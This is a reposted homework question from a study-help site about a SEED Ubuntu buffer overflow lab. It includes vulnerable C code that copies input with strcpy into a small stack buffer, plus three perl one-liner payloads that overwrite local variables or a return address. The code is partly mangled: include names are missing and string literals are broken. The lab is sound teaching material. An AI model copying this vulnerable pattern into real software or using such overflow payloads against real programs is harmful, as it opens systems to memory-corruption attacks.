Question: Description: bof _ practice is a precompiled program that asks the user for a serial string and prints out CORREC SERIAL if the serial string

Description: bof_practice is a precompiled program that asks the user for a serial string and prints out CORREC SERIAL if the serial string is correct and prints out INCORRECT SERIAL otherwise. This file was compiled without source code and stack protection and of course, is vulnerable to buffer overflow. Note: you will need to turn off virtual address randomization inside SEED Ubuntu Image.
Goal: The goal of this practice is to exploit the program to let it print out CORRECT SERIAL. Note: A Segmentation fault is fine if the program prints out the desired message.
Tasks: Present three methods to exploit buffer overflow to archive the goal.
Submission format: Answer the following questions for each method. Include screenshots and gdb/bash commands to support your answer
1. What is your approach?
2. What data (e.g, internal variables, adjacent buffer, return address, etc.) do you want buffer overflow to overwrite? Why? Where are they located on the stack/heap?
3. What is your attack vector? And why?
4. Were you successful in exploiting buffer overflow to achieve the goal? Why/why not?
**This is solutions for the first one:
Method 01 $ echo $(perl -e 'print "a"x38."b"')> input_bof_practice01_a.txt
Method 02 $ echo $(perl -e 'print "a"x5."!"."a"x5."&"')> input_bof_practice01_b.txt
Method 03 $ echo $(perl -e 'print "a"x54."\xcb\x84\x04\x08"')> input_bof_practice01_c.txt
C code:
#include
#include
void printOK(){
printf("CORRECT SERIAL
");
}
int checkPass(char pass_str[]){
int ok =0;
long xx =1.0;
char pass_local[18];
strcpy(pass_local, pass_str);
if (ok ==0x79|| xx ==0x80)
return 1;
else {
if (pass_local[13]=='#' && pass_local[7]=='@')
return 1;
}
return 0;
}
int main(int argc, char **argv){
printf("Enter your serial number (99 chars max): ");
char pass[100];
scanf("%100s", pass);
if (checkPass (pass)){
printOK();
} else {
printf("WRONG SERIAL
");
}
return 1;
}

Step by Step Solution

There are 3 Steps involved in it

1 Expert Approved Answer
Step: 1 Unlock blur-text-image
Question Has Been Solved by an Expert!

Get step-by-step solutions from verified subject matter experts

Step: 2 Unlock
Step: 3 Unlock

Students Have Also Explored These Related Programming Questions!